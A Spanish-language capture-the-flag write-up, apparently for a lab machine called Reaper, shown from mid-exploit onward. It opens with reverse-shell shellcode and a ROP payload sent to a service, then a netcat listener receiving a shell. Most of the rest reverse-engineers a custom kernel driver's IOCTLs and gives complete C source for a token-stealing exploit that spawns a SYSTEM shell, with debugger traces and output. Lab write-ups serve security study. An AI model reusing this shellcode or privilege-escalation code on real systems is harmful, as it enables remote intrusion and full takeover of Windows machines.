shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41"
shellcode += b"\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0"
shellcode += b"\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67"
shellcode += b"\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20"
shellcode += b"\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34"
shellcode += b"\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac"
shellcode += b"\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
shellcode += b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
shellcode += b"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
shellcode += b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a"
shellcode += b"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41"
shellcode += b"\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
shellcode += b"\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f"
shellcode += b"\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81"
shellcode += b"\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02"
shellcode += b"\x00\x01\xbb\x0a\x08\x00\x0a\x41\x54\x49\x89"
shellcode += b"\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff"
shellcode += b"\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41"
shellcode += b"\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31"
shellcode += b"\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48"
shellcode += b"\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0"
shellcode += b"\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
shellcode += b"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff"
shellcode += b"\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
shellcode += b"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50"
shellcode += b"\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d"
shellcode += b"\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01"
shellcode += b"\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89"
shellcode += b"\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff"
shellcode += b"\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89"
shellcode += b"\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31"
shellcode += b"\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d"
shellcode += b"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6"
shellcode += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
shellcode += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
shellcode += b"\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
payload = b""
payload += junk
payload += rop
payload += shellcode
shell.sendlineafter(b"Exit\n", b"1")
shell.sendlineafter(b"key: ", b"100-FE9A1-500-A270-0102-" + base64.b64encode(payload))
shell.sendlineafter(b"Exit\n", b"2")
Finalmente al ejecutar nuestro exploit de forma remota obtenemos una reverse shell
❯ python3 exploit.py
[+] Opening connection to 10.10.122.10 on port 4141: Done
[*] Closed connection to 10.10.122.10 port 4141
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.122.10 49824
Microsoft Windows [Version 10.0.19045.3208]
(c) Microsoft Corporation. All rights reserved.
C:\> whoami
reaper\keysvc
C:\>
Shell - system
En el directorio C:\driver
podemos encontrar un archivo llamado reaper.sys
que probablemente es un driver personalizado corriendo dentro de la máquina
PS C:\driver> dir
Directory: C:\driver
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/27/2023 9:12 AM 8432 reaper.sys
PS C:\driver>
Abrimos el driver en IDA
, la función DriverEntry
inicia llamando a 2 funciones sin simbolos, la primera solo comprueba una cookie asi que vamos con la segunda
La función sub_11c8
inicia llamando a RtlGetVersion
que se utiliza para obtener información sobre el sistema operativo que se está ejecutando actualmente
La interfaz con la que podemos comunicarnos con el driver son las llamadas ioctl
, al instalar un driver utilizando la función IoCreateDevice
se establece un nombre de dispositivo, en el siguiente bloque podemos ver que se establece a \\\\.\\Reaper
Cada función se identifica con un código ioctl
, el driver acepta este tipo de llamadas usando estructuras de tipo IRP
o I/O Request Packets
, en este bloque podemos ver que la función establecida para encargarse de esta tarea es sub_1020
, esta inicia haciendo comparaciones de varios códigos ioctl con sus saltos condicionales
Si el código ioctl es 0x80002003
realiza una comparación de un valor Magic
con el dword 0x6a55cc9e
, si se cumple llama ExAllocatePoolWithTag
que asigna un espacio en memoria del tipo NonPagedPool
con un tamaño total de 0x20
y el tag paeR
Luego de ello crea una estructura ReaperData
con valores en diferentes offsets, el primero de ellos es el valor Magic
que tenemos que cumplir, algunos otros valores interesantes son unas direcciones Src
y Dst
las cuales nos servirán mas adelante
Podemos definirlo en C
como una estructura donde los primeros 3
valores son dwords
, luego un dword
sin usar y finalmente 2
direcciones de tamaño qwords
typedef struct ReaperData {
DWORD Magic;
DWORD ThreadId;
DWORD Priority;
DWORD Empty;
QWORD SrcAddress;
QWORD DstAddress;
} ReaperData;
Si el código ioctl es igual a 0x80002007
llama a la función ExFreePoolWithTag
que libera el bloque de memoria del pool
que se asigno con el tag anteriormente
El código 0x8000200b
llama a PsLookupThreadByThreadId
acepta el id de un hilo y devuelve el puntero a la estructura ETHREAD
, luego llama a KeSetPriorityThread
establece la prioridad de tiempo de ejecución del hilo creado, finalmente llama a la función ObDeferenceObject
disminuye el numero de referencias al objeto dado
Luego de mover a rcx
el Dst
y a rax
el Src
de la estructura que se creó con la asignación ejecuta un bloque que mueve el contenido de la dirección Src
a Dst
Entonces, tenemos 3
códigos ioctl, el primero asigna un espacio en memoria, el segundo la libera y el tercera copia el contenido de una fuente a un destino
#define IOCTL_ALLOC 0x80002003
#define IOCTL_FREE 0x80002007
#define IOCTL_COPY 0x8000200b
Podemos escribir las llamadas de la siguiente forma, se llama a DeviceIoControl
para comunicarse con el driver, el código de ALLOC
escribe la estructura userData
, con COPY
hacemos la escritura al destino y con FREE
liberamos el bloque de memoria
DeviceIoControl(hDevice, IOCTL_ALLOC,(LPVOID) &userData, (DWORD) sizeof(struct ReaperData), NULL, 0, NULL, NULL);
DeviceIoControl(hDevice, IOCTL_FREE, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
DeviceIoControl(hDevice, IOCTL_COPY, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
La función ArbitraryWrite
nos permite escribir un qword
, el primer valor es Magic
que necesitamos para cumplir la condición, a ThreadId
le pasamos el id actual, el Priority
podemos establecerlo a 0
y los ultimos valores son la dirección de fuente y de destino, entonces llamamos al ioctl
de ALLOC
para establecer la estructura, luego al de COPY
que escribe el qword
y libera el bloque llamando al de FREE
VOID ArbitraryWrite(HANDLE hDevice, QWORD what, QWORD where) {
ReaperData userData;
userData.Magic = 0x6a55cc9e;
userData.ThreadId = GetCurrentThreadId();
userData.Priority = 0;
userData.SrcAddress = what;
userData.DstAddress = where;
DeviceIoControl(hDevice, IOCTL_ALLOC,(LPVOID) &userData, (DWORD) sizeof(struct ReaperData), NULL, 0, NULL, NULL);
DeviceIoControl(hDevice, IOCTL_FREE, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
DeviceIoControl(hDevice, IOCTL_COPY, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
}
La función ArbitraryRead
es parecida pero solo recibe como argumento donde queremos leer, como destino de COPY
establecemos la referencia a un qword
llamado output
que es el valor que se retorna luego de llamar a las funciones
QWORD ArbitraryRead(HANDLE hDevice, QWORD where) {
QWORD output;
ReaperData userData;
userData.Magic = 0x6a55cc9e;
userData.ThreadId = GetCurrentThreadId();
userData.Priority = 0;
userData.SrcAddress = where;
userData.DstAddress = (QWORD) &output;
DeviceIoControl(hDevice, IOCTL_ALLOC,(LPVOID) &userData, (DWORD) sizeof(struct ReaperData), NULL, 0, NULL, NULL);
DeviceIoControl(hDevice, IOCTL_FREE, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
DeviceIoControl(hDevice, IOCTL_COPY, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
return output;
}
En la máquina que se va a depurar habilitaremos el modo debug y en los ajustes haremos que se conecte al debugger por el puerto 50000
con la key 1.1.1.1
C:\Windows\system32> bcdedit /debug on
The operation completed successfully.
C:\Windows\system32> bcdedit /dbgsettings net hostip:192.168.100.5 port:50000 key:1.1.1.1
Key=1.1.1.1
C:\Windows\system32>
En la máquina debugger ejecutaremos WinDbg y en la pestaña Attach to kernel
, añadimos el puerto y la key que especificamos antes en la máquina a depurar
Ahora con sc
podemos iniciar el driver reaper.sys
como un servicio en el kernel
C:\driver> sc create Reaper binPath=C:\driver\reaper.sys type=kernel
[SC] CreateService SUCCESS
C:\driver> sc config Reaper start=system
[SC] ChangeServiceConfig SUCCESS
C:\driver> sc start Reaper
SERVICE_NAME: Reaper
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
PID : 0
FLAGS :
C:\driver>
Finalmente solo necesitamos reiniciar la máquina a depurar y automáticamente se conectara al debugger, podemos ejecutar g
para dejar que arranque con normalidad
Connected to target 192.168.100.10 on port 50000 on local IP 192.168.100.5.
You can get the target MAC address by running .kdtargetmac command.
Kernel Debugger connection established. (Initial Breakpoint requested)
************* Path validation summary **************
Response Time (ms) Location
Deferred SRV*c:\symbols*http://msdl.microsoft.com/download/symbols
Symbol search path is: SRV*c:\symbols*http://msdl.microsoft.com/download/symbols
Executable search path is:
Windows 10 Kernel Version 19045 MP (2 procs) Free x64
Kernel base = 0xfffff800`56000000 PsLoadedModuleList = 0xfffff800`56c33a50
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPointWithStatus:
fffff800`56420b10 cc int 3
0: kd> g
Podemos comprobar que se cargó listando el módulo reaper
desde el debugger
0: kd> lm m reaper
Browse full module list
start end module name
fffff800`64790000 fffff800`64797000 reaper (deferred)
En windows existe un proceso llamado SYSTEM
al cual le pertenece el pid 4
, este alberga la mayoria de subprocesos del sistema en modo kernel, dado que alberga la ejecución del código en modo kernel que está en un contexto de altos privilegios
0: kd> !process 0 0 System
PROCESS ffffba09b847a040
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001ae000 ObjectTable: ffffe0006c085000 HandleCount: 1993.
Image: System
La dirección que nos otorga el primer resultado es la de la estructura _EPROCESS
de SYSTEM
, entre los atributos de la estructura en el offset 0x4b8
encontramos lo primero interesante para nuestro shellcode, esto es el campo Token
del proceso
0: kd> dt nt!_EPROCESS 0xffffba09b847a040 Token
+0x4b8 Token : _EX_FAST_REF
0: kd> dt nt!_EX_FAST_REF 0xffffba09b847a040 + 0x4b8
+0x000 Object : 0xffffe000`6c04c045 Void
+0x000 RefCnt : 0y0101
+0x000 Value : 0xffffe000`6c04c045
Otros campos bastante interesantes son UniqueProcessId
en el offset 0x440
que guarda el pid del proceso y el campo ActiveProcessLinks
en el offset 0x448
que es una estructura doblemente enlazada que apunta al _EPROCESS
del siguiente proceso
0: kd> dt nt!_EPROCESS 0xffffba09b847a040 UniqueProcessId
+0x440 UniqueProcessId : 0x00000000`00000004 Void
0: kd> dt nt!_EPROCESS 0xffffba09b847a040 ActiveProcessLinks
+0x448 ActiveProcessLinks : _LIST_ENTRY [ 0xffffba09`b855d4c8 - 0xfffff807`66c26360 ]
Los offsets de la estructura pueden cambiar en las diferentes versiones de windows, para la versión especifica que corre la máquina victima tenemos estos offsets
#define OFFSET_Token 0x4b8
#define OFFSET_UniqueProcessId 0X440
#define OFFSET_ActiveProcessLinks 0x448
La función GetKernelBase
obtiene la dirección base del kernel con EnumDeviceDrivers
, la función GetSystemEProcess
carga el binario ntoskrnl.exe
, luego obtiene la dirección relativa al bloque de datos del proceso de System
, finalmente calcula la dirección sumando el offset a la dirección base del kernel y lee el _EPROCESS
QWORD GetKernelBase() {
LPVOID drivers[1024];
DWORD cbNeeded;
EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
return (QWORD) drivers[0];
}
QWORD GetSystemEProcess(HANDLE hDevice, QWORD kernelBase) {
HMODULE hKernel = LoadLibraryA("C:\\Windows\\System32\\ntoskrnl.exe");
QWORD userPsInitialProcess = (QWORD) GetProcAddress(hKernel, "PsInitialSystemProcess");
QWORD offsetPsInitialProcess = userPsInitialProcess - (QWORD) hKernel;
QWORD kernelPsInitialProcess = kernelBase + offsetPsInitialProcess;
QWORD systemEProcess = ArbitraryRead(hDevice, kernelPsInitialProcess);
FreeLibrary(hKernel);
return systemEProcess;
}
La funcion GetCurrentEProcess
recibe como argumento el systemEProcess
y a partir de ahi en bucle recorre la lista doblemente enlazada ActiveProcessLinks
, compara si el pid del _EPROCESS
es igual al del proceso actual y si es asi retorna la dirección
QWORD GetCurrentEProcess(HANDLE hDevice, QWORD systemEProcess) {
QWORD currentEProcess = systemEProcess;
DWORD currentProcessId = GetCurrentProcessId();
while (TRUE) {
QWORD processLinkAddress = ArbitraryRead(hDevice, currentEProcess + OFFSET_ActiveProcessLinks);
QWORD processId = ArbitraryRead(hDevice, processLinkAddress - OFFSET_ActiveProcessLinks + OFFSET_UniqueProcessId);
currentEProcess = processLinkAddress - OFFSET_ActiveProcessLinks;
if ((DWORD) processId == currentProcessId) {
break;
}
}
return currentEProcess;
}
La función main
explota un Token Stealing, obtiene las direcciones de la estructura _EPROCESS
del proceso de System
y la del proceso actual, luego escribe en la dirección del campo Token
del proceso actual el campo Token
del proceso System, con el fin de comprobar el funcionamiento establecemos varios printf
y un getchar
int main() {
HANDLE hDevice = CreateFileA("\\\\.\\Reaper", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to get handle: 0x%x\n", GetLastError());
exit(EXIT_FAILURE);
}
QWORD kernelBase = GetKernelBase();
printf("[*] Kernel Base: 0x%llx\n", kernelBase);
QWORD systemEProcess = GetSystemEProcess(hDevice, kernelBase);
printf("[*] System _EPROCESS: 0x%llx\n", systemEProcess);
QWORD currentEProcess = GetCurrentEProcess(hDevice, systemEProcess);
printf("[*] Current _EPROCESS: 0x%llx\n", currentEProcess);
getchar();
ArbitraryWrite(hDevice, systemEProcess + OFFSET_Token, currentEProcess + OFFSET_Token);
system("cmd.exe");
CloseHandle(hDevice);
return 0;
}
Al ejecutar el exploit llega al getchar
muestra 3 direcciones de memoria con printf
PS C:\Users\user\Desktop> .\exploit.exe
[*] Kernel Base: 0xfffff80009e07000
[*] System _EPROCESS: 0xffff910748cba040
[*] Current _EPROCESS: 0xffff91074edd5080
La primera dirección es la base del kernel que podemos ver como el módulo nt
0: kd> lm m nt
Browse full module list
start end module name
fffff800`09e07000 fffff800`0ae4e000 nt (pdb symbols)
Las otras 2 direcciones apuntal a la estructura _EPROCESS
de 2 procesos, el primero es de System
y el segundo de nuestro exploit, en el offset 0x4b8
podemos ver sus valores del campo Token
, hasta ahora todo es normal y cada uno es diferente
0: kd> dt nt!_EPROCESS 0xffff910748cba040 ImageFileName
+0x5a8 ImageFileName : [15] "System"
0: kd> dt nt!_EPROCESS 0xffff91074edd5080 ImageFileName
+0x5a8 ImageFileName : [15] "exploit.exe"
0: kd> dt nt!_EX_FAST_REF 0xffff910748cba040 + 0x4b8 Value
+0x000 Value : 0xffffb701`9c04c047
0: kd> dt nt!_EX_FAST_REF 0xffff91074edd5080 + 0x4b8 Value
+0x000 Value : 0xffffb701`a205281f
Establecemos un breakpoint en el mov
del driver y al llegar a el podemos ver guarda en rax
el Token
del proceso System
, luego lo mueve como el contenido del registro rcx
que apunta a la dirección donde se encuentra el Token
del proceso actual
0: kd> bp Reaper + 0x10be
0: kd> g
Breakpoint 0 hit
Reaper+0x10be:
fffff800`101b10be 488b00 mov rax,qword ptr [rax]
0: kd> dqs rax L1
ffff9107`48cba4f8 ffffb701`9c04c047
0: kd> p
Reaper+0x10c1:
fffff800`101b10c1 488901 mov qword ptr [rcx],rax
0: kd> dqs rcx L1
ffff9107`4edd5538 ffffb701`a205281f
Al final de la ejecución ambos procesos tienen el mismo Token
, y al proceso actual tener el Token
del proceso System
deberia obtener tambien sus privilegios
0: kd> p
Reaper+0x10c4:
fffff800`101b10c4 e99c000000 jmp Reaper+0x1165 (fffff800`101b1165)
0: kd> dt nt!_EX_FAST_REF 0xffff910748cba040 + 0x4b8 Value
+0x000 Value : 0xffffb701`9c04c047
0: kd> dt nt!_EX_FAST_REF 0xffff91074edd5080 + 0x4b8 Value
+0x000 Value : 0xffffb701`9c04c047
Entonces, nuestro exploit a través de las funciones de los códigos ioctl
escribe el Token
del proceso System
en el proceso actual, luego ejecuta system("cmd.exe")
que al ejecutarlo nos devuelve una shell como el usuario nt authority\system
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#define IOCTL_ALLOC 0x80002003
#define IOCTL_FREE 0x80002007
#define IOCTL_COPY 0x8000200b
#define OFFSET_Token 0x4b8
#define OFFSET_UniqueProcessId 0X440
#define OFFSET_ActiveProcessLinks 0x448
#define QWORD ULONGLONG
typedef struct ReaperData {
DWORD Magic;
DWORD ThreadId;
DWORD Priority;
DWORD Empty;
QWORD SrcAddress;
QWORD DstAddress;
} ReaperData;
VOID ArbitraryWrite(HANDLE hDevice, QWORD what, QWORD where) {
ReaperData userData;
userData.Magic = 0x6a55cc9e;
userData.ThreadId = GetCurrentThreadId();
userData.Priority = 0;
userData.SrcAddress = what;
userData.DstAddress = where;
DeviceIoControl(hDevice, IOCTL_ALLOC,(LPVOID) &userData, (DWORD) sizeof(struct ReaperData), NULL, 0, NULL, NULL);
DeviceIoControl(hDevice, IOCTL_FREE, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
DeviceIoControl(hDevice, IOCTL_COPY, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
}
QWORD ArbitraryRead(HANDLE hDevice, QWORD where) {
QWORD output;
ReaperData userData;
userData.Magic = 0x6a55cc9e;
userData.ThreadId = GetCurrentThreadId();
userData.Priority = 0;
userData.SrcAddress = where;
userData.DstAddress = (QWORD) &output;
DeviceIoControl(hDevice, IOCTL_ALLOC,(LPVOID) &userData, (DWORD) sizeof(struct ReaperData), NULL, 0, NULL, NULL);
DeviceIoControl(hDevice, IOCTL_FREE, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
DeviceIoControl(hDevice, IOCTL_COPY, (LPVOID) NULL, (DWORD) 0, NULL, 0, NULL, NULL);
return output;
}
QWORD GetSystemEProcess(HANDLE hDevice, QWORD kernelBase) {
HMODULE hKernel = LoadLibraryA("C:\\Windows\\System32\\ntoskrnl.exe");
QWORD userPsInitialProcess = (QWORD) GetProcAddress(hKernel, "PsInitialSystemProcess");
QWORD offsetPsInitialProcess = userPsInitialProcess - (QWORD) hKernel;
QWORD kernelPsInitialProcess = kernelBase + offsetPsInitialProcess;
QWORD systemEProcess = ArbitraryRead(hDevice, kernelPsInitialProcess);
FreeLibrary(hKernel);
return systemEProcess;
}
QWORD GetCurrentEProcess(HANDLE hDevice, QWORD systemEProcess) {
QWORD currentEProcess = systemEProcess;
DWORD currentProcessId = GetCurrentProcessId();
while (TRUE) {
QWORD processLinkAddress = ArbitraryRead(hDevice, currentEProcess + OFFSET_ActiveProcessLinks);
QWORD processId = ArbitraryRead(hDevice, processLinkAddress - OFFSET_ActiveProcessLinks + OFFSET_UniqueProcessId);
currentEProcess = processLinkAddress - OFFSET_ActiveProcessLinks;
if ((DWORD) processId == currentProcessId) {
break;
}
}
return currentEProcess;
}
QWORD GetKernelBase() {
LPVOID drivers[1024];
DWORD cbNeeded;
EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
return (QWORD) drivers[0];
}
int main() {
HANDLE hDevice = CreateFileA("\\\\.\\Reaper", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to get handle: 0x%x\n", GetLastError());
exit(EXIT_FAILURE);
}
QWORD systemEProcess = GetSystemEProcess(hDevice, GetKernelBase());
QWORD currentEProcess = GetCurrentEProcess(hDevice, systemEProcess);
ArbitraryWrite(hDevice, systemEProcess + OFFSET_Token, currentEProcess + OFFSET_Token);
system("cmd.exe");
CloseHandle(hDevice);
return 0;
}
C:\Users\keysvc\Desktop> exploit.exe
Microsoft Windows [Version 10.0.19045.3208]
(c) Microsoft Corporation. All rights reserved.
C:\Users\keysvc\Desktop> whoami
nt authority\system
C:\Users\keysvc\Desktop>